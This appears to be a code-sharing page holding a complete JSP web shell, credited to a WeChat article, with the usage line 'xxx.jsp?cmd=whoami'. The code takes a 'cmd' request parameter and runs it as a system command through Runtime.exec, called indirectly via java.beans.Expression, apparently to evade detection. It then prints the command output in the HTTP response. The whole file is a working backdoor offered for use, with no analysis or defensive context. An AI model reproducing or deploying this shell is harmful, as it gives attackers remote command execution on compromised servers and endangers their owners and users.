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c801606539
From: https://mp.weixin.qq.com/s/BlfQ0t9s0vpTZo6sndfteg Author: naihe567 Usage: xxx.jsp?cmd=whoami
17 lines
647 B
Text
17 lines
647 B
Text
<%@ page import="java.beans.Expression" %>
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<%@ page import="java.io.InputStreamReader" %>
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<%@ page import="java.io.BufferedReader" %>
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<%@ page import="java.io.InputStream" %>
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<%@ page language="java" pageEncoding="UTF-8" %>
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<%
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String cmd = request.getParameter("cmd");
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Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
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Process process = (Process) expr.getValue();
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InputStream in = process.getInputStream();
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BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
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String tmp = null;
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while((tmp = bufferedReader.readLine())!=null){
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response.getWriter().println(tmp);
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}
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%>
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